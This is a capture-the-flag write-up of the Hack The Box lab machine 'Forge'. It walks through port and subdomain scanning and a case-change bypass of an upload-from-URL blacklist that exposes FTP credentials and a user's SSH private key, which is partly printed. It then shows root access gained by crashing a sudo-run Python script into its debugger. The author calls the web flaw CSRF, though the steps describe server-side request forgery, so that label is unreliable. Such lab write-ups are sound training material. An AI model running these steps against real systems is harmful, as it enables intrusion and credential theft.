Writeup for the medium ranked HTB box Forge
“In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application’s data and functionality.”
This box has a CSRF vulnerability to get the user flag, and then a bad written python program to get root.
Tools used for this box was NMAP, DIRB, SEARCHSPLOIT, NIKTO, PYTHON3, BURPSUITE, FFUF, CURL and NC. The environment I used was a kali-VM (in Parallels Desktop 17) on my MACOS-machine.
Let’s GO!
Scanning
Port scanning with NMAP
Let’s start with a NMAP scan to see all available ports.
┌──(erra㉿kali)-[~/htb/forge]
└─$ sudo nmap -T4 -Pn -sV -A forge.htb -o nmap.init
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-27 19:18 CEST
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=10/27%OT=22%CT=1%CU=44223%PV=Y%DS=2%DC=T%G=Y%TM=617989
OS:FA%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 993/tcp)
HOP RTT ADDRESS
1 41.22 ms 10.10.14.1
2 41.40 ms forge.htb (10.10.11.111)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.75 seconds
Here we can see port 21 (FTP), 22 (SSH) and 80 (HTTP), let’s scan port 80 for subdirectories.
Directory scanning with DIRB
┌──(erra㉿kali)-[~/htb/forge]
└─$ sudo dirb http://forge.htb -o dirb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: dirb
START_TIME: Wed Oct 27 19:18:42 2021
URL_BASE: http://forge.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://forge.htb/ ----
+ http://forge.htb/server-status (CODE:403|SIZE:274)
==> DIRECTORY: http://forge.htb/static/
+ http://forge.htb/upload (CODE:200|SIZE:929)
==> DIRECTORY: http://forge.htb/uploads/
---- Entering directory: http://forge.htb/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://forge.htb/uploads/ ----
-----------------
END_TIME: Wed Oct 27 19:25:07
Vulnerability scanning with NIKTO
And scan for vulnerabilities with NIKTO.
┌──(erra㉿kali)-[~/htb/forge]
└─$ nikto -h forge.htb
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.11.111
+ Target Hostname: forge.htb
+ Target Port: 80
+ Start Time: 2021-10-28 11:42:51 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD
+ OSVDB-3268: /static/: Directory indexing found.
+ 7785 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2021-10-28 11:48:04 (GMT2) (313 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Scanning for subdomains with FFUF
Always scan for subdomains! Here done via FFUF.
┌──(erra㉿kali)-[~/htb/forge]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.forge.htb/
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://FUZZ.forge.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
...
Let’s add the subdomain admin to our /etc/hosts.
┌──(erra㉿kali)-[~/htb/forge]
└─$ cat /etc/hosts
.......
10.10.11.111 forge.htb admin.forge.htb
.......
Then scan the subdomain for directories.
┌──(erra㉿kali)-[~/htb/forge]
└─$ sudo dirb http://admin.forge.htb/ -o dirb.admin
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: admin.dirb
START_TIME: Wed Oct 27 19:33:52 2021
URL_BASE: http://admin.forge.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://admin.forge.htb/ ----
+ http://admin.forge.htb/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://admin.forge.htb/static/
---- Entering directory: http://admin.forge.htb/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Wed Oct 27 19:37:02 2021
DOWNLOADED: 4612 - FOUND: 1
Enumeration of the website
The index.html shows a gallery with .jpg-pictures…
…and an upload-function.
The admin.forge.htb returns “only localhost is allowed”.
First, I tried uploading reverse-shells but there where no way to execute the exploits (at least that I could find) and after some tries, I tried the “upload from URL” function by typing http://127.0.0.1, http://admin.forged.htb, http://10.10.11.111 and some others and they all returned “URL contains blacklisted address!”.
Then testing different cAsE and when I finally typed http://admin.forge.HTB (CASE HTB) the “blacklisted” message disappeared. Following the link just shows the regular message but if we capture the traffic in BURP or CURL it returns some interesting data.
┌──(erra㉿kali)-[~/htb/forge]
└─$ curl http://forge.htb/uploads/P4hbfT7PhGGLReAem9al
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Ok, it return /announcements, let’s add that to the URL-upload section.
┌──(erra㉿kali)-[~/htb/forge]
└─$ curl http://forge.htb/uploads/g6itXOWxjeD9RQhQGMXZ
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as deadbeaf:deadbeafdeadbeaf!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
Here we get a password in return! First I tried connecting to the open port 21 with the credentials but the service did not respond, then after reading the output above once again, “…one can simply pass a url with ?u=<;url>”, so let’s try that.
Gaining access
http://admin.forge.HTB/upload?u=ftp://deadbeaf:[email protected].
┌──(erra㉿kali)-[~/htb/forge]
└─$ curl http://forge.htb/uploads/olj5FVaULOzgyFnoW8dP 1 ⨯
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Oct 28 17:05 user.txt
Get SSH access by stealing id_rsa
It worked! From here we can just cat the ‘user.txt’, but since we need SSH to the box for root we could just cat the ‘id_rsa':
http://admin.forge.HTB/upload?u=ftp://deadbeaf:[email protected]/.ssh/id_rsa.
┌──(erra㉿kali)-[~/htb/forge]
└─$ curl http://forge.htb/uploads/BgLG080NwbzKceCaj6FE 130 ⨯
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
.............
NqD51AfvS/NomELAzbbrVTowVBzIAX2ZvkdhaNwHlCbsqerAAAAMEAzRnXpuHQBQI3vFkC
9vCV+ZfL9yfI2gz9oWrk9NWOP46zuzRCmce4Lb8ia2tLQNbnG9cBTE7TARGBY0QOgIWy0P
fikLIICAMoQseNHAhCPWXVsLL5yUydSSVZTrUnM7Uc9rLh7XDomdU7j/2lNEcCVSI/q1vZ
dEg5oFrreGIZysTBykyizOmFGElJv5wBEV5JDYI0nfO+8xoHbwaQ2if9GLXLBFe2f0BmXr
W/y1sxXy8nrltMVzVfCP02sbkBV9JZAAAAwQDErJZn6A+nTI+5g2LkofWK1BA0X79ccXeL
wS5q+66leUP0KZrDdow0s77QD+86dDjoq4fMRLl4yPfWOsxEkg90rvOr3Z9ga1jPCSFNAb
RVFD+gXCAOBF+afizL3fm40cHECsUifh24QqUSJ5f/xZBKu04Ypad8nH9nlkRdfOuh2jQb
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
So, let’s ssh to the box and grab the user.txt!
┌──(erra㉿kali)-[~/htb/forge]
└─$ ssh -i id_rsa [email protected] 255 ⨯
The authenticity of host 'forge.htb (10.10.11.111)' can't be established.
ECDSA key fingerprint is SHA256:e/qp97tB7zm4r/sMgxwxPixH0d4YFnuB6uKn1GP5GTw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/erra/.ssh/known_hosts).
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 28 Oct 2021 05:38:14 PM UTC
System load: 0.0 Processes: 223
Usage of /: 43.9% of 6.82GB Users logged in: 0
Memory usage: 24% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Oct 28 17:37:49 2021 from 10.10.14.174
user@forge:~$ cat user.txt
deadbeeafdeadbeeaf
Privilege escalation to root
Now it is time to escalate privileges, first thing we always do is to find out if our user can run anything with sudo.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
And there is a python file named ‘remote.manage.py’, let’s read the code.
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
So when running this program, it randomizes a port between 1025 - 65535 and starts to listen on that port.
user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:1948
Start another shell and fire up netcat with that port. In the code there is also a password in cleartext which we can type in here:
user@forge:~$ nc localhost 1948
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
From here we can list running processes, see free memory and find out what ports our box is listening to. Nothing of that is interesting, all we need to do is crash the program. And when it crashes it goes to pdb (python debugger).
As our user can run this as sudo, we can simply use the os library (so we can use system OS commands), and then just cat the root flag.
Listening on localhost:1948
invalid literal for int() with base 10: b'ls'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) ls
*** NameError: name 'ls' is not defined
(Pdb) import os
(Pdb) os.system('cat /root/root.txt')
deadbeefdeadbeef
Summary
This box was a real challenge, especially the user-part where I tried a bunch of different rev-shells and other stuff before getting foothold. To learn some more about CSRF (Cross-Site Request Forgery), I’m going through the tutorial and labs over at portswigger so I’m more prepared for the next box! Hope you found this writeup useful and stay tuned for more content!
Happy hacking!
/Eric (cyberrauken)